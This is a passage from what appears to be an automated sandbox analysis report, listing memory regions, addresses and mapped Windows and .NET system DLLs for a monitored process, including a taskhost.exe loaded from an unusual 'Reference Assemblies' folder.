"\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5992 start_va = 0x1c0000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 5993 start_va = 0x5c0000 end_va = 0x747fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 5994 start_va = 0x180000 end_va = 0x1a8fff monitored = 0 entry_point = 0x181010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5995 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5996 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5997 start_va = 0x750000 end_va = 0x8d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000750000" filename = "" Region: id = 5998 start_va = 0xb80000 end_va = 0x1f7ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 5999 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 6000 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 6001 start_va = 0x50000 end_va = 0x5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 6002 start_va = 0x8e0000 end_va = 0x9affff monitored = 1 entry_point = 0x9ad67e region_type = mapped_file name = "taskhost.exe" filename = "\\Program Files\\Reference Assemblies\\taskhost.exe" (normalized: "c:\\program files\\reference assemblies\\taskhost.exe") Region: id = 6003 start_va = 0x8e0000 end_va = 0x9affff monitored = 1 entry_point = 0x9ad67e region_type = mapped_file name = "taskhost.exe" filename = "\\Program Files\\Reference Assemblies\\taskhost.exe" (normalized: "c:\\program files\\reference assemblies\\taskhost.exe") Region: id = 6004 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 6005 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 6006 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 6007 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 6008 start_va = 0x7fef9f10000 end_va = 0x7fef9f25fff monitored = 0 entry_point = 0x7fef9f1c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 6009 start_va = 0x7fef9e50000 end_va = 0x7fef9f0cfff monitored = 0 entry_point = 0x7fef9ed7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 6010 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 6011 start_va = 0x70000 end_va = 0x7ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 6012 start_va = 0x180000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 6013 start_va = 0x7fe90800000 end_va = 0x7fe9080ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90800000" filename = "" Region: id = 6014 start_va = 0x7fe90810000 end_va = 0x7fe9081ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90810000" filename = "" Region: id = 6015 start_va = 0x7fe90820000 end_va = 0x7fe908affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90820000" filename = "" Region: id = 6016 start_va = 0x7fe908b0000 end_va = 0x7fe9091ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe908b0000" filename = "" Region: id = 6017 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 6018 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 6019 start_va = 0x8e0000 end_va = 0x9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 6020 start_va = 0x1f80000 end_va = 0x20effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f80000" filename = "" Region: id = 6021 start_va = 0x2140000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002140000" filename = "" Region: id = 6022 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 6023 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 6024 start_va = 0x2240000 end_va = 0x1a23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 6025 start_va = 0x1a240000 end_va = 0x1a5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a240000" filename = "" Region: id = 6026 start_va = 0x1a5c0000 end_va = 0x1a6c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a5c0000" filename = "" Region: id = 6027 start_va = 0x1a820000 end_va = 0x1a91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a820000" filename = "" Region: id = 6028 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 6029 start_va = 0x1a6d0000 end_va = 0x1a7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a6d0000" filename = "" Region: id = 6030 start_va = 0x1a9d0000 end_va = 0x1aacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a9d0000" filename = "" Region: id = 6031 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 6032 start_va = 0x1aad0000 end_va = 0x1ad9efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 6066 start_va = 0x7feee870000 end_va = 0x7feefe6cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 6067 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 6068 start_va = 0x3c0000 end_va = 0x43cfff monitored = 0 entry_point = 0x3ccec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 6069 start_va = 0x440000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6070 start_va = 0x3c0000 end_va = 0x43cfff monitored = 0 entry_point = 0x3ccec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 6071 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 6072 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 6073 start_va = 0x1ada0000 end_va = 0x1af0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 6074 start_va = 0x1f80000 end_va = 0x205efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f80000" filename = "" Region: id = 6075 start_va = 0x2070000 end_va = 0x20effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002070000" filename = "" Region: id = 6076 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 6077 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 6078 start_va = 0x7fe90920000 end_va = 0x7fe9099ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90920000" filename = "" Region: id = 6079 start_va = 0x7fe909a0000 end_va = 0x7fe909affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe909a0000" filename = "" Region: id = 6080 start_va = 0x7fe909b0000 end_va = 0x7fe909bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe909b0000" filename = "" Region: id = 6081 start_va = 0x7fef9670000 end_va = 0x7fef9672fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 6082 start_va = 0x7fef30c0000 end_va = 0x7fef320efff monitored = 1 entry_point = 0x7fef30c1090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 6083 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 6084 start_va = 0x3c0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 6085 start_va = 0x3c0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 6086 start_va = 0x3c0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 6087 start_va = 0x3c0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 6088 start_va = 0x3c0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 6089 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6090 start_va = 0x1af10000 end_va = 0x1b13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af10000" filename = "" Region: id = 6091 start_va = 0x3c0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 6092 start_va = 0x3c0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 6093 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6094 start_va = 0x3e0000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 6095 start_va = 0x3c0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 6096 start_va = 0x3c0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 6097 start_va = 0x3c0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 6098 start_va = 0x3c0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 6099 start_va = 0x3c0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 6100 start_va = 0x3c0000 end_va = 0x421fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorrc.dll") Region: id = 6101 start_va = 0x9e0000 end_va = 0xa1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 6102 start_va = 0x1af40000 end_va = 0x1b03ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af40000" filename = "" Region: id = 6103 start_va = 0x1b0c0000 end_va = 0x1b13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0c0000" filename = "" Region: id = 6104 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 6105 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 6106 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 6107 start_va = 0x1b330000 end_va = 0x1b42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b330000" filename = "" Region: id = 6108 start_va = 0x7ffffefc000 end_va = 0x7ffffefdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefc000" filename = "" Region: id = 6109 start_va = 0x7fefc560000 end_va = 0x7fefc577fff monitored = 0 entry_point = 0x7fefc563b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 6110 start_va = 0x8e0000 end_va = 0x924fff monitored = 0 entry_point = 0x8e1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 6111 start_va = 0x950000 end_va = 0x9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000950000" filename = "" Region: id = 6112 start_va = 0x8e0000 end_va = 0x924fff monitored = 0 entry_point = 0x8e1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 6113 start_va = 0x8e0000 end_va = 0x924fff monitored = 0 entry_point = 0x8e1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 6114 start_va = 0x8e0000 end_va = 0x924fff monitored = 0 entry_point = 0x8e1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 6115 start_va = 0x8e0000 end_va = 0x924fff monitored = 0 entry_point = 0x8e1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 6116 start_va = 0x7fefc260000 end_va = 0x7fefc2a6fff monitored = 0 entry_point = 0x7fefc261064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 6117 start_va = 0x7fefcc50000 end_va = 0x7fefcc63fff monitored = 0 entry_point = 0x7fefcc510e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 6118 start_va = 0x7feedc00000 end_va = 0x7feee86efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 6119 start_va = 0x1b460000 end_va = 0x1b55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b460000" filename = "" Region: id = 6120 start_va = 0x7ffffefa000 end_va = 0x7ffffefbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefa000" filename = "" Region: id = 6121 start_va = 0x1b170000 end_va = 0x1b26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b170000" filename = "" Region: id = 6122 start_va = 0x7ffffef8000 end_va = 0x7ffffef9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef8000" filename = "" Region: id = 6123 start_va = 0x7fef2ec0000 end_va = 0x7fef30b4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 6124 start_va = 0x7feecb50000 end_va = 0x7feedbf5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 6125 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 6126 start_va = 0x8e0000 end_va = 0x8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 6127 start_va = 0x7fef64e0000 end_va = 0x7fef64f5fff monitored = 1 entry_point = 0x7fef64ee5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 6128 start_va = 0x1b560000 end_va = 0x1b831fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Region: id = 6129 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 6130 start_va = 0x8e0000 end_va = 0x8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 6131 start_va = 0x8f0000 end_va = 0x8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008f0000" filename = "" Region: id = 6132 start_va = 0x900000 end_va = 0x90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000900000" filename = "" Region: id = 6133 start_va = 0x910000 end_va = 0x91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000910000" filename = "" Region: id = 6134 start_va = 0x920000 end_va = 0x92ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000920000" filename = "" Region: id = 6135 start_va = 0x930000 end_va = 0x93ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000930000" filename = "" Region: id = 6136 start_va = 0x940000 end_va = 0x94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000940000" filename = "" Region: id = 6137 start_va = 0x9d0000 end_va = 0x9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009d0000" filename = "" Region: id = 6138 start_va = 0xa20000 end_va = 0xa2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a20000" filename = "" Region: id = 6139 start_va = 0xa30000 end_va = 0xa3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a30000" filename = "" Region: id = 6140 start_va = 0xa40000 end_va = 0xa4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a40000" filename = "" Region: id = 6141 start_va = 0xa50000 end_va = 0xa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 6142 start_va = 0xa60000 end_va = 0xa6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a60000" filename = "" Region: id = 6143 start_va = 0xa70000 end_va = 0xa7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 6144 start_va = 0xa80000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 6145 start_va = 0xa90000 end_va = 0xa9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a90000" filename = "" Region: id = 6146 start_va = 0x2060000 end_va = 0x206ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002060000" filename = "" Region: id = 6147 start_va = 0x20f0000 end_va = 0x20fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020f0000" filename = "" Region: id = 6148 start_va = 0x2100000 end_va = 0x210ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002100000" filename = "" Region: id = 6149 start_va = 0x2110000 end_va = 0x211ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002110000" filename = "" Region: id = 6150 start_va = 0x2120000 end_va = 0x212ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002120000" filename = "" Region: id = 6151 start_va = 0x2130000 end_va = 0x213ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002130000" filename = "" Region: id = 6152 start_va = 0x1a7d0000 end_va = 0x1a7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7d0000" filename = "" Region: id = 6153 start_va = 0x1a7e0000 end_va = 0x1a7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7e0000" filename = "" Region: id = 6154 start_va = 0x1a7f0000 end_va = 0x1a7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7f0000" filename = "" Region: id = 6155 start_va = 0x1a800000 end_va = 0x1a80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a800000" filename = "" Region: id = 6156 start_va = 0x1a810000 end_va = 0x1a81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a810000" filename = "" Region: id = 6157 start_va = 0x1a920000 end_va = 0x1a92ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a920000" filename = "" Region: id = 6158 start_va = 0x1a930000 end_va = 0x1a93ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a930000" filename = "" Region: id = 6159 start_va = 0x1a940000 end_va = 0x1a94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a940000" filename = "" Region: id = 6160 start_va = 0x1a950000 end_va = 0x1a95ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a950000" filename = "" Region: id = 6161 start_va = 0x1a960000 end_va = 0x1a96ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a960000" filename = "" Region: id = 6162 start_va = 0x1a970000 end_va = 0x1a97ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a970000" filename = "" Region: id = 6163 start_va = 0x1a980000 end_va = 0x1a98ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a980000" filename = "" Region: id = 6164 start_va = 0x1a990000 end_va = 0x1a99ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a990000" filename = "" Region: id = 6165 start_va = 0x1a9a0000 end_va = 0x1a9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a9a0000" filename = "" Region: id = 6166 start_va = 0x1a9b0000 end_va = 0x1a9bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a9b0000" filename = "" Region: id = 6167 start_va = 0x1a9c0000 end_va = 0x1a9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a9c0000" filename = "" Region: id = 6168 start_va = 0x1ba10000 end_va = 0x1bb0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 6169 start_va = 0x7ffffef6000 end_va = 0x7ffffef7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef6000" filename = "" Region: id = 6170 start_va = 0x7fe909c0000 end_va = 0x7fe909cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe909c0000" filename = "" Region: id = 6171 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 6172 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 6173 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 6174 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 6175 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 6176 start_va = 0x8e0000 end_va = 0x8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 6177 start_va = 0x8f0000 end_va = 0x8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008f0000" filename = "" Region: id = 6178 start_va = 0x900000 end_va = 0x90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000900000" filename = "" Region: id = 6179 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 6180 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 6181 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 6182 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 6183 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 6184 start_va = 0x8e0000 end_va = 0x8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 6185 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 6186 start_va = 0x8e0000 end_va = 0x8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 6187 start_va = 0x8f0000 end_va = 0x8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008f0000" filename = "" Region: id = 6188 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 6189 start_va = 0x8e0000 end_va = 0x8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 6190 start_va = 0x8f0000 end_va = 